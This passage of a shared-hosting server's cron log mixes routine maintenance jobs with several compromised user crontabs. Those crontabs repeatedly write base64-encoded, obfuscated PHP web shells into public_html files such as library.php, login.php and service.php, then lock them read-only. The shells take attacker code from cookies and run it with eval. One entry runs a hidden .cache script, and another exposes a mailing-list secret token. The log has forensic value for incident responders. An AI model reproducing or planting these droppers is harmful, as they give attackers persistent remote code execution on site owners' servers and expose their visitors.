0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:44:01 medusa CROND[23278]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:44:01 medusa CROND[23279]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:44:01 medusa CROND[23280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:44:01 medusa CROND[23281]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:44:01 medusa CROND[23282]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:44:01 medusa CROND[23286]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:44:01 medusa CROND[23287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:44:01 medusa CROND[23296]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:44:01 medusa CROND[23297]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:44:01 medusa CROND[23298]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:44:01 medusa CROND[23299]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:45:01 medusa CROND[8821]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 12:45:01 medusa CROND[8880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 12:45:01 medusa CROND[9138]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 12:45:01 medusa CROND[9139]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:45:01 medusa CROND[9140]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 12:45:01 medusa CROND[9143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:45:01 medusa CROND[9144]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 12:45:01 medusa CROND[9145]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 12:45:01 medusa CROND[9149]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:45:01 medusa CROND[9151]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 12:45:01 medusa CROND[9150]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 12:45:01 medusa CROND[9155]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:45:01 medusa CROND[9156]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:45:01 medusa CROND[9160]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:45:01 medusa CROND[9163]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:45:01 medusa CROND[9166]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:45:01 medusa CROND[9167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:45:01 medusa CROND[9169]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 12:45:01 medusa CROND[9170]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Mar  2 12:45:01 medusa CROND[9174]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:45:01 medusa CROND[9178]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 12:45:01 medusa CROND[9168]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 12:45:01 medusa CROND[9181]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:45:01 medusa CROND[9194]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 12:46:01 medusa CROND[27070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:46:02 medusa CROND[27172]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 12:46:02 medusa CROND[27350]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:46:02 medusa CROND[27429]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:46:02 medusa CROND[27431]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgIC